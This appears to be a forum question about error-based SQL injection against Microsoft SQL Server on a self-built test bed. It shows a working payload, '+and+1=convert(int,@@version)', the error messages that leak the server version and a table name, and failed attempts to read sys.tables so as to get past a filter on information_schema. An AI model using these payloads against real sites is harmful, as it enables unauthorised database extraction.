I just setup a test bed and i disabled information_schema from being accessed (a weak waf) and i've been trying to extract the table list from the database by using convert to spit out a conversion error with the contained information. To extract the version we use the syntax: +and+1=convert(int,@@version) The result will be:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.
The result of the query is what is within the single quotes. Now to get the first table from the database normally we would use:
Which would lead to the error:
Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'tblDepartement' to data type int. index.asp, line 30
Again with the answer being within the two single quotes which is
Alternative way to extract the table names would be to use these following 2 queries:
(A):SELECT name FROM sys.tables
select * from sys.tables.
If i try (A) with this syntax:
convert(int,(select name FROM sys.tables))
I get the error:
Error Executing Database Query. [Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'from'.
If i try (B) with this syntax:
convert(int,(select * FROM sys.tables))
I get the error:
Error Executing Database Query. [Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near '*'.
So my question is, how can i not use information_schema and use sys.tables instead inside the convert syntax so i can get the table list from the database? Thanks.